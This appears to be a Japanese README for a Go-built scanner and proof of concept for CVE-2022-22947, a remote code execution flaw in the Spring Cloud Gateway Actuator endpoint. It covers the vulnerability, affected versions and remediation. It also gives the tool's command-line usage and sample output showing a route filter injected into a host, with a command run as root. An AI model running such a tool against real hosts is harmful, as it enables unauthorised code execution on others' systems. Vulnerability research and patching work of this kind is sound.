
CVE-2022-22947 のスキャナーおよび PoC。Spring Cloud Gateway Actuator エンドポイントをテストし、悪意のあるルートフィルターを注入し、脆弱なホストに対してコマンドを実行します。
Spring Cloud GateWayはSpring Cloudの新しいプロジェクトであり、Netflix Zuulの置き換えを目的としています。Spring 5.0+、Spring Boot 2.0+、WebFlux(高性能なReactorパターンに基づく応答通信フレームワークNetty、非同期ノンブロッキングモデル)などの技術で開発されており、Zuulよりも高性能です。公式テストでは、GateWayはZuulの1.6倍の性能を発揮し、マイクロサービスアーキテクチャにシンプルで効果的な統一APIルーティング管理方法を提供することを目的としています。 Spring Cloud Gatewayのリモートコード実行脆弱性(CVE-2022-22947)は、Spring Cloud GatewayアプリケーションのActuatorエンドポイントで発生します。このエンドポイントが有効化され、公開され、安全でない場合、コードインジェクション攻撃を受けやすくなります。攻撃者はこの脆弱性を悪用して、リモートホスト上で任意のリモート実行を可能にするリクエストを悪意を持って作成する可能性があります。 この脆弱性のCVSSスコア:9.8、危険レベル:深刻
CVE-2022-22947
3.1.0 3.0.0から3.0.6 3.0.0より前のバージョン
3.1.xユーザーは3.1.1以上にアップグレードする必要があります。 3.0.xユーザーは3.0.7以上にアップグレードする必要があります。 Actuatorエンドポイントが不要な場合は、management.endpoint.gateway.enable:false設定で無効にできます。 Actuatorエンドポイントが必要な場合は、Spring Securityで保護する必要があります。
このスクリプトはgolangで作成され、Windows実行スクリプトとしてコンパイルされています。
-cmd string 実行するコマンド (デフォルト "id") -host string 検出対象のアドレスまたはファイルのパス (デフォルト "http://127.0.0.1:80")

例:
./cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"
>cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"
result: http://127.0.0.1:10089 : {"predicate":"RouteDefinitionRouteLocator$$Lambda$978/705851885","route_id":"hacktest","filters":["[[AddResponseHeader Result = 'uid=0(root) gid=0(root) groups=0(root)\n'], order = 1]"],"uri": "http://example.com:80","order":0}
vulnerable host:
http://127.0.0.1:10089